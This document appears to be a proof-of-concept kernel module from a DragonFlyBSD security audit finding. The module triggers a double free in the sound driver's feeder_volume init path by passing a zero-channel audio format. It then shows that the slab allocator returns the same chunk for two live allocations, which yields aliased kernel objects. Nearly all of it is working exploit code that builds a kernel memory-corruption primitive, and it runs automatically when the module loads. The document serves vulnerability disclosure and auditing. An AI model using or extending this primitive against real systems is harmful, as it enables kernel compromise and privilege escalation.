โฌข DragonFlyBSD Kernel Audit
DF-5022 / df5023_harness.c
โ† back to finding โ†“ download raw
/*
 * DF-5022 PoC harness โ€” feeder_volume.c feed_volume_init() dangling f->data
 *                              -> feeder_destroy() -> FEEDER_FREE() double free.
 *
 * NOT a modification of sys/: this module COMPILES THE REAL, UNMODIFIED
 * sys/dev/sound/pcm/feeder_volume.c (via the module Makefile SRCS) and drives
 * it through a VERBATIM copy of feeder.c's feeder_create()/feeder_destroy()
 * (the exact code path chn_addfeeder() uses at feeder.c:240).
 *
 * The only substitutions:
 *   - M_FEEDER (static MALLOC_DEFINE inside feeder.c, not linkable) is
 *     replaced by this module's own malloc type M_DF5023 (same behaviour).
 *   - feeder_register() (bookkeeping tailq in feeder.c) is stubbed to just
 *     capture the feeder_volume class pointer that FEEDER_DECLARE()'s SYSINIT
 *     hands it at kldload time.  Registration bookkeeping is not under test.
 *   - feeder_matrix_default_channel_map() + its two static tables are copied
 *     VERBATIM from feeder_matrix.c:84-101,573-582 (pure data lookup, not
 *     under test; compiling all of feeder_matrix.c would collide on the
 *     FEEDER_DECLARE SYSINIT symbol name "feeder").
 *
 * Trigger: feeder_create(vol_class, desc) with desc->in = desc->out =
 * AFMT_S16_LE โ€” i.e. a valid signed-16LE encoding whose CHANNEL FIELD IS 0.
 *
 * feed_volume_init() then:
 *   feeder_volume.c:147-149  in==out OK; AFMT_CHANNEL(in)==0 > SND_CHN_MAX? NO
 *   feeder_volume.c:152-153  AFMT_ENCODING match -> feed_volume_S16LE
 *   feeder_volume.c:154      info = kmalloc(sizeof(*info))       [chunk C]
 *   feeder_volume.c:165      f->data = info;                     [published]
 *   feeder_volume.c:166      m = feeder_matrix_default_channel_map(0) -> NULL
 *   feeder_volume.c:168      kfree(info);                        [C freed]
 *   feeder_volume.c:169      return EINVAL;                      [f->data dangles]
 * feeder_create() (feeder.c:210-216):
 *   err -> feeder_destroy(f) (feeder.c:213)
 * feeder_destroy() (feeder.c:178-182):
 *   FEEDER_FREE(f) -> feed_volume_free() (feeder_volume.c:183-195)
 *   info = f->data;   != NULL -> kfree(info);                    [C freed AGAIN]
 *
 * Observable: the DragonFly slab allocator (kern/kern_slaballoc.c kfree(),
 * no double-free detection on non-INVARIANTS kernels) links chunk C onto
 * z_LChunks twice, so C->c_Next == C: a self-referential freelist entry.
 * Every subsequent same-size-class kmalloc() returns the SAME pointer while
 * the previous one is still live -> aliased kernel objects.
 *
 * This module demonstrates:
 *   1. control: valid 2-channel format -> init OK, clean destroy, allocations
 *      behave normally;
 *   2. trigger: 0-channel format -> "feeder_init returned 22" (EINVAL),
 *      then two DF5023_INFO_SIZE kmallocs return IDENTICAL
 *      pointers (freelist dup) -> write through p1, read through p2 shows
 *      the alias.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/kobj.h>

#include <dev/sound/pcm/sound.h>
#include <dev/sound/pcm/pcm.h>

#include "feeder_if.h"

static MALLOC_DEFINE(M_DF5023, "df5023feeder", "DF-5022 feeder harness");

/*
 * struct feed_volume_info is private to feeder_volume.c:
 *   uint32_t bps, channels;   8
 *   feed_volume_t apply;      8   (pointer, 8-aligned -> +4 pad before it)
 *   int volume_class, state;  8
 *   int matrix[SND_CHN_MAX];  32
 * = 56 bytes on x86_64.  Probing with the identical size keeps the same
 * slab zone as feed_volume_init()'s kmalloc(sizeof(*info)).
 */
#define DF5023_INFO_SIZE	56


/* --------------------------------------------------------------------- */
/* VERBATIM feeder.c:55-54 region: feeder_register() stub                 */
/* --------------------------------------------------------------------- */
struct feeder_class *df5023_vol_class = NULL;

/*
 * sndstat bookkeeping stubs (real ones live in sndstat.c; feeder_volume.c's
 * SND_DECLARE_FILE() SYSINIT calls these โ€” not under test).
 */
int sndstat_registerfile(char *str) { return (0); }
int sndstat_unregisterfile(char *str) { return (0); }

void
feeder_register(void *p)
{
	struct feeder_class *fc = p;

	kprintf("df5023: feeder_register(\"%s\")\n", fc->name);
	/*
	 * real feeder.c appends to the global feedertab here; we only need
	 * the feeder_volume class object that FEEDER_DECLARE(feeder_volume,
	 * NULL) at feeder_volume.c:306 registered at kldload.
	 */
	if (strcmp(fc->name, "feeder_volume") == 0)
		df5023_vol_class = fc;
}

/* --------------------------------------------------------------------- */
/* VERBATIM feeder.c:178-182 feeder_destroy()  (M_FEEDER -> M_DF5023)     */
/* --------------------------------------------------------------------- */
static void
feeder_destroy(struct pcm_feeder *f)
{
	FEEDER_FREE(f);
	kobj_delete((kobj_t)f, M_DF5023);
}

/* --------------------------------------------------------------------- */
/* VERBATIM feeder.c:184-219 feeder_create()   (M_FEEDER -> M_DF5023)     */
/* --------------------------------------------------------------------- */
static struct pcm_feeder *
feeder_create(struct feeder_class *fc, struct pcm_feederdesc *desc)
{
	struct pcm_feeder *f;
	int err;

	f = (struct pcm_feeder *)kobj_create((kobj_class_t)fc,
	    M_DF5023, M_WAITOK | M_ZERO);
	if (f == NULL)
		return NULL;

	f->data = fc->data;
	f->source = NULL;
	f->parent = NULL;
	f->class = fc;
	f->desc = &(f->desc_static);

	if (desc) {
		*(f->desc) = *desc;
	} else {
		f->desc->type = FEEDER_ROOT;
		f->desc->in = 0;
		f->desc->out = 0;
		f->desc->flags = 0;
		f->desc->idx = 0;
	}

	err = FEEDER_INIT(f);
	if (err) {
		kprintf("feeder_init(%p) on %s returned %d\n", f, fc->name, err);
		feeder_destroy(f);

		return NULL;
	}

	return f;
}

/* --------------------------------------------------------------------- */
/* VERBATIM feeder_matrix.c:84-101 + 573-582 (data lookup, not under test) */
/* --------------------------------------------------------------------- */
static struct pcmchan_matrix feeder_matrix_maps[SND_CHN_MATRIX_MAX] = {
	[SND_CHN_MATRIX_1_0] = SND_CHN_MATRIX_MAP_1_0,
	[SND_CHN_MATRIX_2_0] = SND_CHN_MATRIX_MAP_2_0,
	[SND_CHN_MATRIX_2_1] = SND_CHN_MATRIX_MAP_2_1,
	[SND_CHN_MATRIX_3_0] = SND_CHN_MATRIX_MAP_3_0,
	[SND_CHN_MATRIX_3_1] = SND_CHN_MATRIX_MAP_3_1,
	[SND_CHN_MATRIX_4_0] = SND_CHN_MATRIX_MAP_4_0,
	[SND_CHN_MATRIX_4_1] = SND_CHN_MATRIX_MAP_4_1,
	[SND_CHN_MATRIX_5_0] = SND_CHN_MATRIX_MAP_5_0,
	[SND_CHN_MATRIX_5_1] = SND_CHN_MATRIX_MAP_5_1,
	[SND_CHN_MATRIX_6_0] = SND_CHN_MATRIX_MAP_6_0,
	[SND_CHN_MATRIX_6_1] = SND_CHN_MATRIX_MAP_6_1,
	[SND_CHN_MATRIX_7_0] = SND_CHN_MATRIX_MAP_7_0,
	[SND_CHN_MATRIX_7_1] = SND_CHN_MATRIX_MAP_7_1
};

static int feeder_matrix_default_ids[9] = {
	[0] = SND_CHN_MATRIX_UNKNOWN,
	[1] = SND_CHN_MATRIX_1,
	[2] = SND_CHN_MATRIX_2,
	[3] = SND_CHN_MATRIX_3,
	[4] = SND_CHN_MATRIX_4,
	[5] = SND_CHN_MATRIX_5,
	[6] = SND_CHN_MATRIX_6,
	[7] = SND_CHN_MATRIX_7,
	[8] = SND_CHN_MATRIX_8
};

struct pcmchan_matrix *
feeder_matrix_default_channel_map(uint32_t ch)
{

	if (ch < feeder_matrix_maps[SND_CHN_MATRIX_BEGIN].channels ||
	    ch > feeder_matrix_maps[SND_CHN_MATRIX_END].channels)
		return (NULL);

	return (&feeder_matrix_maps[feeder_matrix_default_ids[ch]]);
}

/* --------------------------------------------------------------------- */
/* Trigger + observation                                                  */
/* --------------------------------------------------------------------- */
static int
df5023_run(void)
{
	struct pcm_feederdesc desc;
	struct pcm_feeder *f;
	void *p1, *p2;
	int i;

	if (df5023_vol_class == NULL) {
		kprintf("df5023: feeder_volume class not registered!\n");
		return (EINVAL);
	}

	/* ---- control: valid S16_LE 2ch format -> init succeeds ---- */
	bzero(&desc, sizeof(desc));
	desc.type = FEEDER_VOLUME;
	desc.in = SND_FORMAT(AFMT_S16_LE, 2, 0);
	desc.out = desc.in;

	f = feeder_create(df5023_vol_class, &desc);
	if (f == NULL) {
		kprintf("df5023: CONTROL FAILED (valid format rejected)\n");
		return (ENXIO);
	}
	kprintf("df5023: control OK: feeder_volume init'd on 0x%08x "
	    "(f->data=%p), destroying cleanly\n", desc.in, f->data);
	feeder_destroy(f);			/* single free, normal */

	p1 = kmalloc(DF5023_INFO_SIZE, M_DEVBUF,
	    M_WAITOK | M_ZERO);
	p2 = kmalloc(DF5023_INFO_SIZE, M_DEVBUF,
	    M_WAITOK | M_ZERO);
	kprintf("df5023: control allocs: %p != %p (expected distinct)\n",
	    p1, p2);
	kfree(p1, M_DEVBUF);
	kfree(p2, M_DEVBUF);
	if (p1 == p2) {
		kprintf("df5023: control allocs aliased BEFORE trigger: "
		    "environment poisoned, abort\n");
		return (ENXIO);
	}

	/* ---- trigger: bare AFMT_S16_LE -> AFMT_CHANNEL(in) == 0 ---- */
	bzero(&desc, sizeof(desc));
	desc.type = FEEDER_VOLUME;
	desc.in = AFMT_S16_LE;		/* channel field == 0 */
	desc.out = AFMT_S16_LE;

	kprintf("df5023: TRIGGER: desc.in=0x%08x AFMT_CHANNEL=%d\n",
	    desc.in, AFMT_CHANNEL(desc.in));

	f = feeder_create(df5023_vol_class, &desc);
	if (f != NULL) {
		kprintf("df5023: trigger unexpectedly SUCCEEDED?\n");
		feeder_destroy(f);
		return (ENXIO);
	}
	/* f is NULL here; feed_volume_init freed info TWICE inside that call. */

	/*
	 * Observe the duplicated freelist entry: same-size allocations now
	 * hand out the same chunk while live.
	 */
	for (i = 0; i < 64; i++) {
		p1 = kmalloc(DF5023_INFO_SIZE, M_DEVBUF,
		    M_WAITOK | M_ZERO);
		p2 = kmalloc(DF5023_INFO_SIZE, M_DEVBUF,
		    M_WAITOK | M_ZERO);
		if (p1 == p2) {
			kprintf("df5023: DOUBLE FREE CONFIRMED: "
			    "kmalloc pair %d returned SAME chunk %p twice "
			    "(freelist dup -> aliased kernel objects)\n",
			    i, p1);
			/* demonstrate the alias: write via p1, read via p2 */
			*(volatile uint32_t *)p1 = 0x41424344;
			kprintf("df5023: alias proof: wrote 0x41424344 via "
			    "p1, read 0x%08x via p2\n",
			    *(volatile uint32_t *)p2);
			kfree(p1, M_DEVBUF);
			/*
			 * NB: freeing once is enough to stop leaking; the
			 * freelist self-cycle remains but further allocs
			 * out of this module stop.  Do NOT kfree(p2) too
			 * (that would be a third free of the same chunk).
			 */
			return (0);
		}
		kfree(p1, M_DEVBUF);
		kfree(p2, M_DEVBUF);
	}

	kprintf("df5023: no duplicated pair observed within 64 attempts "
	    "(freelist was drained by concurrent allocations) โ€” "
	    "double free still occurred (see 'feeder_init returned 22')\n");
	return (0);
}

static int
df5023_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("df5023: loaded (DF-5022 feeder_volume double-free "
		    "harness)\n");
		return (df5023_run());
	case MOD_UNLOAD:
		kprintf("df5023: unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df5023_mod = { "df5023_dblfree", df5023_modevent, NULL };
DECLARE_MODULE(df5023_dblfree, df5023_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(df5023_dblfree, 1);